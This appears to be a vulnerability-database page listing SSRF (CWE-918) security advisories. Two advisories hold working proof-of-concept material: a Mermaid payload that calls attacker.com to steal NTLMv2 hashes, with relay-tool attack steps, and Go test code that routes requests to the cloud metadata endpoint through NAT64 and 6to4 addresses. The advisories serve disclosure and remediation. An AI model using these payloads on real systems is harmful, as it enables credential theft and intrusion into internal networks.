CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5695 vulnerabilities reference this CWE, most recent first.
GHSA-W8XR-V3FF-6585
Vulnerability from github – Published: 2026-08-14 00:31 – Updated: 2026-08-14 00:31A vulnerability was found in EnzoVezzaro mcp-dominican-layer up to 39dd373786712650097ad31db27d5c477c8f9c82. This affects the function parse-pdf of the file src/index.ts of the component PDF Parsing. Performing a manipulation of the argument pdfUrl results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-19752"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T22:17:19Z",
"severity": "LOW"
},
"details": "A vulnerability was found in EnzoVezzaro mcp-dominican-layer up to 39dd373786712650097ad31db27d5c477c8f9c82. This affects the function parse-pdf of the file src/index.ts of the component PDF Parsing. Performing a manipulation of the argument pdfUrl results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-w8xr-v3ff-6585",
"modified": "2026-08-14T00:31:59Z",
"published": "2026-08-14T00:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19752"
},
{
"type": "WEB",
"url": "https://github.com/EnzoVezzaro/mcp-dominican-layer/issues/3"
},
{
"type": "WEB",
"url": "https://github.com/EnzoVezzaro/mcp-dominican-layer"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-19752"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/868928"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/389530"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/389530/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W93P-5FM2-HQ67
Vulnerability from github – Published: 2023-01-26 21:30 – Updated: 2023-02-01 15:30An issue in the website background of taocms v3.0.2 allows attackers to execute a Server-Side Request Forgery (SSRF).
{
"affected": [],
"aliases": [
"CVE-2022-46998"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-26T21:18:00Z",
"severity": "CRITICAL"
},
"details": "An issue in the website background of taocms v3.0.2 allows attackers to execute a Server-Side Request Forgery (SSRF).",
"id": "GHSA-w93p-5fm2-hq67",
"modified": "2023-02-01T15:30:20Z",
"published": "2023-01-26T21:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46998"
},
{
"type": "WEB",
"url": "https://www.yuque.com/shiyi-5yjak/hx4unh/kgnanw3lt8wg1tx2#%20%E3%80%8Ataocms-3.0.2-ssrf%E3%80%8B"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W95V-4H65-J455
Vulnerability from github – Published: 2026-04-10 19:21 – Updated: 2026-04-10 19:21SiYuan configures Mermaid.js with securityLevel: "loose" and htmlLabels: true. In this mode, <img> tags with src attributes survive Mermaid's internal DOMPurify and land in SVG <foreignObject> blocks. The SVG is injected via innerHTML with no secondary sanitization. When a victim opens a note containing a malicious Mermaid diagram, the Electron client fetches the URL.
On Windows, a protocol-relative URL (//attacker.com/image.png) resolves as a UNC path (\\attacker.com\image.png). Windows attempts SMB authentication automatically, sending the victim's NTLMv2 hash to the attacker.
Root Cause
Mermaid initialization at app/src/protyle/render/mermaidRender.ts lines 28 and 33:
mermaid.initialize({
securityLevel: "loose",
flowchart: {
htmlLabels: true,
},
});
SVG injection at line 101:
renderElement.lastElementChild.innerHTML = mermaidData.svg;
No DOMPurify or other sanitization between the Mermaid output and DOM insertion.
Mermaid v11.12.0 in "loose" mode strips active JavaScript (<script>, onerror, onload) but explicitly allows <img> tags with src attributes in the final SVG output. Verified by rendering the PoC below through the Mermaid CLI with matching configuration.
The Electron main process at app/electron/main.js line 78 sets disable-web-security, and lines 319+ set webSecurity: false, nodeIntegration: true, contextIsolation: false on all BrowserWindows. The disabled web security allows protocol-relative URLs to resolve as UNC paths.
Proof of Concept
Mermaid code block in a SiYuan note:
```mermaid
graph TD
A["<img src='//attacker.com/share/img.png'>"] --> B[Normal Node]
```
Rendered SVG output (verified with Mermaid CLI 11.12.0, securityLevel: "loose", htmlLabels: true):
<foreignObject>
<div xmlns="http://www.w3.org/1999/xhtml">
<span class="nodeLabel">
<p><img src="//attacker.com/share/img.png" style="..."></p>
</span>
</div>
</foreignObject>
What was stripped by Mermaid's internal sanitizer (verified): onerror, onload, all event handler attributes, <script> tags, file:// URLs.
What survived (verified): <img src="http://...">, <img src="//...">.
Attack steps:
1. Attacker creates a note or .sy export containing the Mermaid block above
2. Attacker hosts a listener on attacker.com (Responder, ntlmrelayx, or HTTP logger)
3. Victim imports the notebook or opens the shared note
4. SiYuan renders the Mermaid diagram, injects SVG via innerHTML
5. Electron fetches //attacker.com/share/img.png
On Windows: Electron resolves the protocol-relative URL as a UNC path. Windows sends NTLMv2 credentials to the attacker's SMB server.
On macOS/Linux: Electron makes an HTTP request to the attacker's server, leaking the victim's IP and confirming when the note was read.
Impact
Zero-click credential theft on Windows. The victim only needs to view the note. NTLMv2 hashes can be cracked offline or used in relay attacks. On all platforms, the request acts as a tracking pixel and blind SSRF from the victim's machine.
No configuration changes required. The securityLevel: "loose" setting is hardcoded in SiYuan's Mermaid initialization.
Suggested Fix
Change Mermaid initialization to securityLevel: "strict". If HTML labels are required, add a DOMPurify pass on the SVG output before the innerHTML assignment at mermaidRender.ts:101, configured to strip <img> tags or enforce a strict URI allowlist blocking external and protocol-relative URLs.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260407035653-2f416e5253f1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40107"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:21:44Z",
"nvd_published_at": "2026-04-09T21:16:12Z",
"severity": "HIGH"
},
"details": "SiYuan configures Mermaid.js with `securityLevel: \"loose\"` and `htmlLabels: true`. In this mode, `\u003cimg\u003e` tags with `src` attributes survive Mermaid\u0027s internal DOMPurify and land in SVG `\u003cforeignObject\u003e` blocks. The SVG is injected via `innerHTML` with no secondary sanitization. When a victim opens a note containing a malicious Mermaid diagram, the Electron client fetches the URL.\n\nOn Windows, a protocol-relative URL (`//attacker.com/image.png`) resolves as a UNC path (`\\\\attacker.com\\image.png`). Windows attempts SMB authentication automatically, sending the victim\u0027s NTLMv2 hash to the attacker.\n\n## Root Cause\n\nMermaid initialization at `app/src/protyle/render/mermaidRender.ts` lines 28 and 33:\n\n mermaid.initialize({\n securityLevel: \"loose\",\n flowchart: {\n htmlLabels: true,\n },\n });\n\nSVG injection at line 101:\n\n renderElement.lastElementChild.innerHTML = mermaidData.svg;\n\nNo DOMPurify or other sanitization between the Mermaid output and DOM insertion.\n\nMermaid v11.12.0 in \"loose\" mode strips active JavaScript (`\u003cscript\u003e`, `onerror`, `onload`) but explicitly allows `\u003cimg\u003e` tags with `src` attributes in the final SVG output. Verified by rendering the PoC below through the Mermaid CLI with matching configuration.\n\nThe Electron main process at `app/electron/main.js` line 78 sets `disable-web-security`, and lines 319+ set `webSecurity: false`, `nodeIntegration: true`, `contextIsolation: false` on all BrowserWindows. The disabled web security allows protocol-relative URLs to resolve as UNC paths.\n\n## Proof of Concept\n\nMermaid code block in a SiYuan note:\n\n ```mermaid\n graph TD\n A[\"\u003cimg src=\u0027//attacker.com/share/img.png\u0027\u003e\"] --\u003e B[Normal Node]\n ```\n\nRendered SVG output (verified with Mermaid CLI 11.12.0, `securityLevel: \"loose\"`, `htmlLabels: true`):\n\n \u003cforeignObject\u003e\n \u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\n \u003cspan class=\"nodeLabel\"\u003e\n \u003cp\u003e\u003cimg src=\"//attacker.com/share/img.png\" style=\"...\"\u003e\u003c/p\u003e\n \u003c/span\u003e\n \u003c/div\u003e\n \u003c/foreignObject\u003e\n\nWhat was stripped by Mermaid\u0027s internal sanitizer (verified): `onerror`, `onload`, all event handler attributes, `\u003cscript\u003e` tags, `file://` URLs.\n\nWhat survived (verified): `\u003cimg src=\"http://...\"\u003e`, `\u003cimg src=\"//...\"\u003e`.\n\nAttack steps:\n1. Attacker creates a note or .sy export containing the Mermaid block above\n2. Attacker hosts a listener on attacker.com (Responder, ntlmrelayx, or HTTP logger)\n3. Victim imports the notebook or opens the shared note\n4. SiYuan renders the Mermaid diagram, injects SVG via innerHTML\n5. Electron fetches `//attacker.com/share/img.png`\n\nOn Windows: Electron resolves the protocol-relative URL as a UNC path. Windows sends NTLMv2 credentials to the attacker\u0027s SMB server.\n\nOn macOS/Linux: Electron makes an HTTP request to the attacker\u0027s server, leaking the victim\u0027s IP and confirming when the note was read.\n\n## Impact\n\nZero-click credential theft on Windows. The victim only needs to view the note. NTLMv2 hashes can be cracked offline or used in relay attacks. On all platforms, the request acts as a tracking pixel and blind SSRF from the victim\u0027s machine.\n\nNo configuration changes required. The `securityLevel: \"loose\"` setting is hardcoded in SiYuan\u0027s Mermaid initialization.\n\n## Suggested Fix\n\nChange Mermaid initialization to `securityLevel: \"strict\"`. If HTML labels are required, add a DOMPurify pass on the SVG output before the innerHTML assignment at mermaidRender.ts:101, configured to strip `\u003cimg\u003e` tags or enforce a strict URI allowlist blocking external and protocol-relative URLs.",
"id": "GHSA-w95v-4h65-j455",
"modified": "2026-04-10T19:21:44Z",
"published": "2026-04-10T19:21:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-w95v-4h65-j455"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40107"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SiYuan Affected by Zero-Click NTLM Hash Theft and Blind SSRF via Mermaid Diagram Rendering"
}
GHSA-W968-MX3G-7GRF
Vulnerability from github – Published: 2025-10-08 18:30 – Updated: 2025-10-08 18:30Server-Side Request Forgery (SSRF) in the Remote Browser Plugin in Sonatype Nexus Repository 2.x up to and including 2.15.2 allows unauthenticated remote attackers to exfiltrate proxy repository credentials via crafted HTTP requests.
{
"affected": [],
"aliases": [
"CVE-2025-9868"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-08T18:15:35Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) in the Remote Browser Plugin in Sonatype Nexus Repository 2.x up to and including 2.15.2 allows unauthenticated remote attackers to exfiltrate proxy repository credentials via crafted HTTP requests.",
"id": "GHSA-w968-mx3g-7grf",
"modified": "2025-10-08T18:30:16Z",
"published": "2025-10-08T18:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9868"
},
{
"type": "WEB",
"url": "https://support.sonatype.com/hc/en-us/articles/45363201583635"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W96F-MFJ2-5P98
Vulnerability from github – Published: 2025-03-01 18:30 – Updated: 2025-03-01 18:30A vulnerability, which was classified as critical, was found in Zorlan SkyCaiji 2.9. This affects the function previewAction of the file vendor/skycaiji/app/admin/controller/Tool.php. The manipulation of the argument data leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-1799"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-01T18:15:34Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, was found in Zorlan SkyCaiji 2.9. This affects the function previewAction of the file vendor/skycaiji/app/admin/controller/Tool.php. The manipulation of the argument data leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-w96f-mfj2-5p98",
"modified": "2025-03-01T18:30:40Z",
"published": "2025-03-01T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1799"
},
{
"type": "WEB",
"url": "https://github.com/sheratan4/cve/issues/6"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.298029"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.298029"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.502650"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W98G-5W9P-P3RC
Vulnerability from github – Published: 2026-08-28 18:26 – Updated: 2026-08-28 18:26Summary
isPublicIP in core/providers/utils/fetch.go — the SSRF deny-list that gates FetchAndEncodeURL — does not reject several routable address ranges that map onto internal infrastructure. Carrier-Grade NAT (100.64.0.0/10, RFC 6598), IPv6 6to4 (2002::/16), NAT64 (64:ff9b::/96 and 64:ff9b:1::/48), and deprecated IPv6 site-local (fec0::/10) are all classified as public and permitted. An attacker who controls a multimodal image/document URL in a Bedrock or Vertex request body can drive the gateway to fetch internal services it should not reach — including the cloud instance-metadata endpoint via the 6to4 / NAT64 embeddings of 169.254.169.254.
The rest of the fetch hardening is correct and is not part of this report: the dial-time LookupIP + pin to ips[0] closes the DNS-rebinding TOCTOU, CheckRedirect re-validates redirect targets, the scheme gate, the 25 MiB cap, and the 20 s timeout all work. This is purely a residual IP-classification gap in isPublicIP.
Affected component
- File:
core/providers/utils/fetch.go, functionisPublicIP(lines 107-118), reached only throughFetchAndEncodeURL(line 28). - Go module:
github.com/maximhq/bifrost/core - Version: confirmed on the current
devHEADf415c144678bd4b411d74a1c1f85f18652833224(core/version=1.5.15).
Vulnerable code
func isPublicIP(ip net.IP) bool {
addr, ok := netip.AddrFromSlice(ip)
if !ok {
return false
}
addr = addr.Unmap()
if addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() ||
addr.IsMulticast() || addr.IsUnspecified() || addr.IsInterfaceLocalMulticast() {
return false
}
return true
}
addr.IsPrivate() covers only RFC 1918 + RFC 4193 (fc00::/7); it does not cover CGNAT 100.64.0.0/10. addr.Unmap() only collapses the ::ffff:0:0/96 IPv4-mapped form, so 6to4 (2002::/16) and NAT64 (64:ff9b::/96, 64:ff9b:1::/48) IPv6 representations of internal/link-local IPv4 are never reduced to their embedded address and slip past every check. fec0::/10 (deprecated IPv6 site-local) is likewise not matched by any of the helpers used.
Attack surface / who can trigger it
FetchAndEncodeURL is invoked from the multimodal request-handling path of two providers:
core/providers/bedrock/utils.go:1073(documentblock.File.FileURL),:1187(image URL viaconvertImageToBedrockSource)core/providers/vertex/vertex.go:402(documentblock.File.FileURL)
These URLs come straight from the client's chat-completion request body (a remote image/document URL in a multimodal content block). SanitizeImageURL (core/schemas/utils.go:180) only checks the scheme and a non-empty host — it performs no address filtering — so isPublicIP is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.
Impact
Server-side request forgery from the gateway into internal address space that the deny-list intends to block:
- CGNAT
100.64.0.0/10— reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions. - 6to4
2002:a9fe:a9fe::and NAT6464:ff9b::a9fe:a9fe— both embed169.254.169.254, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct169.254.169.254and::ffff:169.254.169.254forms are correctly blocked. fec0::/10— deprecated site-local, still routed on some networks.
CWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.
Proof of concept
A test placed in-package (core/providers/utils/) drives the real FetchAndEncodeURL — real http.Client, real Transport.DialContext, real isPublicIP — and classifies each target by whether isPublicIP let it past the gate. A blocked fetch to non-public address error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).
package utils
import (
"context"
"fmt"
"strings"
"testing"
"time"
)
func TestSSRFGateDecision(t *testing.T) {
cases := []struct{ name, url string }{
{"CGNAT-100.64", "http://100.64.1.1:9/"},
{"CGNAT-100.127", "http://100.127.255.254:9/"},
{"6to4-IMDS", "http://[2002:a9fe:a9fe::]:9/"},
{"NAT64-IMDS", "http://[64:ff9b::a9fe:a9fe]:9/"},
{"NAT64-local-IMDS", "http://[64:ff9b:1::a9fe:a9fe]:9/"},
{"sitelocal-fec0", "http://[fec0::1]:9/"},
// controls (must be rejected at the gate):
{"CONTROL-direct-IMDS", "http://169.254.169.254:9/"},
{"CONTROL-RFC1918", "http://10.0.0.1:9/"},
{"CONTROL-loopback", "http://127.0.0.1:9/"},
{"CONTROL-mapped-IMDS", "http://[::ffff:169.254.169.254]:9/"},
}
for _, c := range cases {
ctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)
_, _, err := FetchAndEncodeURL(ctx, c.url)
cancel()
gateBlocked := err != nil && strings.Contains(err.Error(), "blocked fetch to non-public address")
fmt.Printf("%-22s gateBlock=%-6v %v\n", c.name, gateBlocked, err)
}
}
Verbatim output (go test ./providers/utils/ -run TestSSRFGateDecision -v against HEAD f415c14, Go 1.26.1):
=== bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) ===
target gateBlock verbatim error / outcome
----------------------------------------------------------------------------------------------------
CGNAT-100.64 false failed to fetch from "http://100.64.1.1:9/": Get "http://100.64.1.1:9/": context deadline exceeded
CGNAT-100.127 false failed to fetch from "http://100.127.255.254:9/": Get "http://100.127.255.254:9/": context deadline exceeded
6to4-IMDS false failed to fetch from "http://[2002:a9fe:a9fe::]:9/": Get "http://[2002:a9fe:a9fe::]:9/": EOF
NAT64-IMDS false failed to fetch from "http://[64:ff9b::a9fe:a9fe]:9/": Get "http://[64:ff9b::a9fe:a9fe]:9/": context deadline exceeded
NAT64-local-IMDS false failed to fetch from "http://[64:ff9b:1::a9fe:a9fe]:9/": Get "http://[64:ff9b:1::a9fe:a9fe]:9/": context deadline exceeded
sitelocal-fec0 false failed to fetch from "http://[fec0::1]:9/": Get "http://[fec0::1]:9/": EOF
CONTROL-direct-IMDS true failed to fetch from "http://169.254.169.254:9/": Get "http://169.254.169.254:9/": blocked fetch to non-public address 169.254.169.254
CONTROL-RFC1918 true failed to fetch from "http://10.0.0.1:9/": Get "http://10.0.0.1:9/": blocked fetch to non-public address 10.0.0.1
CONTROL-loopback true failed to fetch from "http://127.0.0.1:9/": Get "http://127.0.0.1:9/": blocked fetch to non-public address 127.0.0.1
CONTROL-mapped-IMDS true failed to fetch from "http://[::ffff:169.254.169.254]:9/": Get "http://[::ffff:169.254.169.254]:9/": blocked fetch to non-public address 169.254.169.254
Reading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected at the gate with blocked fetch to non-public address and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes isPublicIP and proceeds to the network dial — observed as context deadline exceeded or EOF (a real connection attempt), never blocked fetch to non-public address. The blocked vs dial-attempted split isolates the isPublicIP classification defect precisely.
A standalone re-check of the verbatim isPublicIP body confirms the classification directly (Go 1.26.1):
100.64.0.1 isPublicIP=true (CGNAT — should be blocked)
100.127.255.254 isPublicIP=true (CGNAT)
2002:a9fe:a9fe:: isPublicIP=true (6to4 -> 169.254.169.254)
64:ff9b::a9fe:a9fe isPublicIP=true (NAT64 -> 169.254.169.254)
64:ff9b:1::a9fe:a9fe isPublicIP=true (NAT64 local-use -> 169.254.169.254)
fec0::1 isPublicIP=true (deprecated site-local)
169.254.169.254 isPublicIP=false (direct IMDS — correctly blocked, control)
::ffff:169.254.169.254 isPublicIP=false (IPv4-mapped — correctly blocked, control)
8.8.8.8 isPublicIP=true (public — correctly allowed, control)
Honest scope note
The test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here — the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment's internal network to use 100.64.0.0/10. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: isPublicIP permits the forbidden ranges on every host.
References (canonical dimension precedents)
- CVE-2026-45741 / GHSA-86m8-88fq-xfxp — Gotenberg
IsPublicIPIPv6 6to4 / NAT64 / site-local bypass; same Gonetip+Unmapgap. - GHSA-5jh9-2h63-pw4q — CC-Tweaked NAT64 (
64:ff9b::/96) bypass; their fix addsisCarrierGradeNatAddress(CGNAT) + NAT64 handling.
Suggested fix
In isPublicIP, after Unmap():
- Reject CGNAT:
100.64.0.0/10for IPv4 (and the::ffff:100.64.0.0/106mapped form is already handled byUnmap). - For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (
2002::/16-> bytes 2-5), NAT64 well-known (64:ff9b::/96) and local-use (64:ff9b:1::/48) -> low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4. - Reject deprecated site-local
fec0::/10.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/maximhq/bifrost/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55245"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T18:26:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`isPublicIP` in `core/providers/utils/fetch.go` \u2014 the SSRF deny-list that gates `FetchAndEncodeURL` \u2014 does not reject several routable address ranges that map onto internal infrastructure. Carrier-Grade NAT (`100.64.0.0/10`, RFC 6598), IPv6 6to4 (`2002::/16`), NAT64 (`64:ff9b::/96` and `64:ff9b:1::/48`), and deprecated IPv6 site-local (`fec0::/10`) are all classified as public and permitted. An attacker who controls a multimodal image/document URL in a Bedrock or Vertex request body can drive the gateway to fetch internal services it should not reach \u2014 including the cloud instance-metadata endpoint via the 6to4 / NAT64 embeddings of `169.254.169.254`.\n\nThe rest of the fetch hardening is correct and is **not** part of this report: the dial-time `LookupIP` + pin to `ips[0]` closes the DNS-rebinding TOCTOU, `CheckRedirect` re-validates redirect targets, the scheme gate, the 25 MiB cap, and the 20 s timeout all work. This is purely a residual IP-classification gap in `isPublicIP`.\n\n## Affected component\n\n- File: `core/providers/utils/fetch.go`, function `isPublicIP` (lines 107-118), reached only through `FetchAndEncodeURL` (line 28).\n- Go module: `github.com/maximhq/bifrost/core`\n- Version: confirmed on the current `dev` HEAD `f415c144678bd4b411d74a1c1f85f18652833224` (`core/version` = `1.5.15`).\n\n## Vulnerable code\n\n```go\nfunc isPublicIP(ip net.IP) bool {\n\taddr, ok := netip.AddrFromSlice(ip)\n\tif !ok {\n\t\treturn false\n\t}\n\taddr = addr.Unmap()\n\tif addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() ||\n\t\taddr.IsMulticast() || addr.IsUnspecified() || addr.IsInterfaceLocalMulticast() {\n\t\treturn false\n\t}\n\treturn true\n}\n```\n\n`addr.IsPrivate()` covers only RFC 1918 + RFC 4193 (`fc00::/7`); it does **not** cover CGNAT `100.64.0.0/10`. `addr.Unmap()` only collapses the `::ffff:0:0/96` IPv4-mapped form, so 6to4 (`2002::/16`) and NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`) IPv6 representations of internal/link-local IPv4 are never reduced to their embedded address and slip past every check. `fec0::/10` (deprecated IPv6 site-local) is likewise not matched by any of the helpers used.\n\n## Attack surface / who can trigger it\n\n`FetchAndEncodeURL` is invoked from the multimodal request-handling path of two providers:\n\n- `core/providers/bedrock/utils.go:1073` (document `block.File.FileURL`), `:1187` (image URL via `convertImageToBedrockSource`)\n- `core/providers/vertex/vertex.go:402` (document `block.File.FileURL`)\n\nThese URLs come straight from the client\u0027s chat-completion request body (a remote image/document URL in a multimodal content block). `SanitizeImageURL` (`core/schemas/utils.go:180`) only checks the scheme and a non-empty host \u2014 it performs no address filtering \u2014 so `isPublicIP` is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.\n\n## Impact\n\nServer-side request forgery from the gateway into internal address space that the deny-list intends to block:\n\n- **CGNAT `100.64.0.0/10`** \u2014 reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions.\n- **6to4 `2002:a9fe:a9fe::` and NAT64 `64:ff9b::a9fe:a9fe`** \u2014 both embed `169.254.169.254`, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct `169.254.169.254` and `::ffff:169.254.169.254` forms are correctly blocked.\n- **`fec0::/10`** \u2014 deprecated site-local, still routed on some networks.\n\nCWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.\n\n## Proof of concept\n\nA test placed in-package (`core/providers/utils/`) drives the **real** `FetchAndEncodeURL` \u2014 real `http.Client`, real `Transport.DialContext`, real `isPublicIP` \u2014 and classifies each target by whether `isPublicIP` let it past the gate. A `blocked fetch to non-public address` error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).\n\n```go\npackage utils\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestSSRFGateDecision(t *testing.T) {\n\tcases := []struct{ name, url string }{\n\t\t{\"CGNAT-100.64\", \"http://100.64.1.1:9/\"},\n\t\t{\"CGNAT-100.127\", \"http://100.127.255.254:9/\"},\n\t\t{\"6to4-IMDS\", \"http://[2002:a9fe:a9fe::]:9/\"},\n\t\t{\"NAT64-IMDS\", \"http://[64:ff9b::a9fe:a9fe]:9/\"},\n\t\t{\"NAT64-local-IMDS\", \"http://[64:ff9b:1::a9fe:a9fe]:9/\"},\n\t\t{\"sitelocal-fec0\", \"http://[fec0::1]:9/\"},\n\t\t// controls (must be rejected at the gate):\n\t\t{\"CONTROL-direct-IMDS\", \"http://169.254.169.254:9/\"},\n\t\t{\"CONTROL-RFC1918\", \"http://10.0.0.1:9/\"},\n\t\t{\"CONTROL-loopback\", \"http://127.0.0.1:9/\"},\n\t\t{\"CONTROL-mapped-IMDS\", \"http://[::ffff:169.254.169.254]:9/\"},\n\t}\n\tfor _, c := range cases {\n\t\tctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)\n\t\t_, _, err := FetchAndEncodeURL(ctx, c.url)\n\t\tcancel()\n\t\tgateBlocked := err != nil \u0026\u0026 strings.Contains(err.Error(), \"blocked fetch to non-public address\")\n\t\tfmt.Printf(\"%-22s gateBlock=%-6v %v\\n\", c.name, gateBlocked, err)\n\t}\n}\n```\n\nVerbatim output (`go test ./providers/utils/ -run TestSSRFGateDecision -v` against HEAD `f415c14`, Go 1.26.1):\n\n```\n=== bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) ===\ntarget gateBlock verbatim error / outcome\n----------------------------------------------------------------------------------------------------\nCGNAT-100.64 false failed to fetch from \"http://100.64.1.1:9/\": Get \"http://100.64.1.1:9/\": context deadline exceeded\nCGNAT-100.127 false failed to fetch from \"http://100.127.255.254:9/\": Get \"http://100.127.255.254:9/\": context deadline exceeded\n6to4-IMDS false failed to fetch from \"http://[2002:a9fe:a9fe::]:9/\": Get 